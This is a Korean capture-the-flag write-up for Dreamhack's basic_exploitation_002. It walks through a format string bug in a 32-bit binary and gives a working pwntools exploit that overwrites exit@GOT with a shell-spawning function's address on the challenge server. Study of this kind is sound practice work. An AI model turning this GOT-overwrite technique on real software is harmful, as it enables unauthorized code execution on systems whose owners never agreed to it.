basic_exploitation문제 중 유일하게 level 2문제다.
1. checksec
[*] '/mnt/c/Users/JangWooseok/Documents/Security/pwn/73fd9a8e-66ed-4c7d-8d62-57b98fe85979/basic_exploitation_002'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Partial RELRO, NX가 걸려있다.
2. Analysis
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void get_shell() {
system("/bin/sh");
}
int main(int argc, char *argv[]) {
char buf[0x80];
initialize();
read(0, buf, 0x80);
printf(buf);
exit(0);
}
대충 코드를 보면 printf("%s", buf)로 출력을 해야하지만 printf(buf)로 코드가 작성되어 있어 FSB취약점을 이용할 수 있다.
그리고 입력을 read함수로 받고 최대 0x80까지 받기 때문에 일단 BOF는 사용하지 못한다.
https://learn.dreamhack.io/3#23
드림핵 레퍼런스를 참조해서 SFB취약점에 대해 공부했는데, 결론만 말하자면 exit@got의 주소를 get_shell함수로 overwrite하면 된다.
exit@plt에서 jmp 주소는 [0x804a024], 그리고 get_shell함수의 주소는 [0x08048609]
AAAA.%8x.%8x.%8x를 입력해보면서 41414141이 어딨는지를 확인해보면,
첫번째 %x에서 바로 인자를 받는 것을 확인할 수 있다.
결론적으로 payload에는 exit@got에 get_shell함수 주소를 보내면 된다. 그런데 get_shell함수의 주소 [0x08048609]는 int로 변환했을 때, 134514185로 큰 수다. 따라서 exit@got+2에 0x0804를 먼저 보내고 그 다음 exit@got에 0x8609를 다시 보내면 된다.
3. exploit
from pwn import *
p = remote('host3.dreamhack.games', 21528)
exit = 0x0804a024
payload = p32(exit + 2) + p32(exit) + b'%2044c%1$hn' + b'%32261c%2$hn'
p.sendline(payload)
p.interactive()
부가설명하자면, 일단 리틀엔디안이기 때문에 exit+2의 위치에 0x0804가 들어가고 대신 주소 입력 8byte를 제외해야하니 0x0804 - 0x8 = 0d2044
그리고 다시 앞에 0x0804만큼 글자가 입력됐다고 인식되니, 0x8609 - 0x0804 = 0d32261
'Security > System' 카테고리의 다른 글
Dreamhack basic_exploitation_003 (0) | 2022.08.10 |
---|---|
Dreamhack basic_exploitation_001 (0) | 2022.08.08 |
Dreamhack basic_exploitation_000 (0) | 2022.08.08 |